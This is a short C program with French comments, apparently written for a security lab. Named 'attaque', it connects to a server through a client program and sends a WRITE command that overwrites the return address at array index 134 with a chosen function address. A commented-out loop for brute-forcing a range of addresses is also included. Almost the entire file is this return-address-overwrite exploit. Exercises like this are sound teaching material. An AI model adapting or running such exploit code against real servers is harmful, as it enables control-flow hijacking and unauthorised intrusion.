1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071 |
- #include <stdio.h>
- #include <unistd.h>
- #include <string.h>
- #include <stdlib.h>
-
-
- /**
- * Lance un client, exécute une commande, puis quitte le client
- * @param host L'adresse du serveur
- * @param port Le port sur lequel se connecter
- * @param cmd La commande à exécuter
- * @return Le statut du client
- */
- int runClientWithCommand(char *host, char *port, char *cmd) {
- // Démarrage du client
- char prog_name[100];
- sprintf(prog_name, "./client %s %s", host, port);
-
- // Récupération de l'entrée standard
- FILE *prog = popen(prog_name, "w");
- usleep(1000);
- if (prog == NULL) {
- printf("ERREUR\n");
- return -1;
- }
-
- // Écriture de la commande
- fprintf(prog, "%s", cmd);
- printf("%s", cmd);
-
- usleep(1000);
-
- // Fermeture du client
- fprintf(prog, "QUIT\n");
- printf("QUIT\n");
- return pclose(prog);
- }
-
- void hackServer(char *host, char *port, long addr) {
- printf("-- Écrasement de l'adresse de retour par %p --\n", (void *) addr);
- char buf[100];
- // L'index 134 du tableau correspond à l'adresse de retour
- sprintf(buf, "WRITE %ld 134\n", addr);
- runClientWithCommand(host, port, buf);
- }
-
- int main(int argc, char *argv[]) {
- if (argc != 3) {
- printf("Usage : ./attaque addresseServeur portServeur\n");
- return 2;
- }
- int port = atoi(argv[2]);
- if (port <= 0 || port > 65535) {
- printf("Usage : ./attaque addresseServeur portServeur\n");
- return 3;
- }
-
- // Adresse à modifier avec l'adresse d'une fonction du serveur
- long address = 0xffffffff;
- hackServer(argv[1], argv[2], address);
-
- // long begin = 1448463905;
- // long end = 1449434657;
- // printf("testing %ld possibilities...\n", end - begin);
- //
- // for (long addr = begin; addr < end; ++addr) {
- // runClient(argv[1], argv[2], addr);
- // }
-
- return 0;
- }
|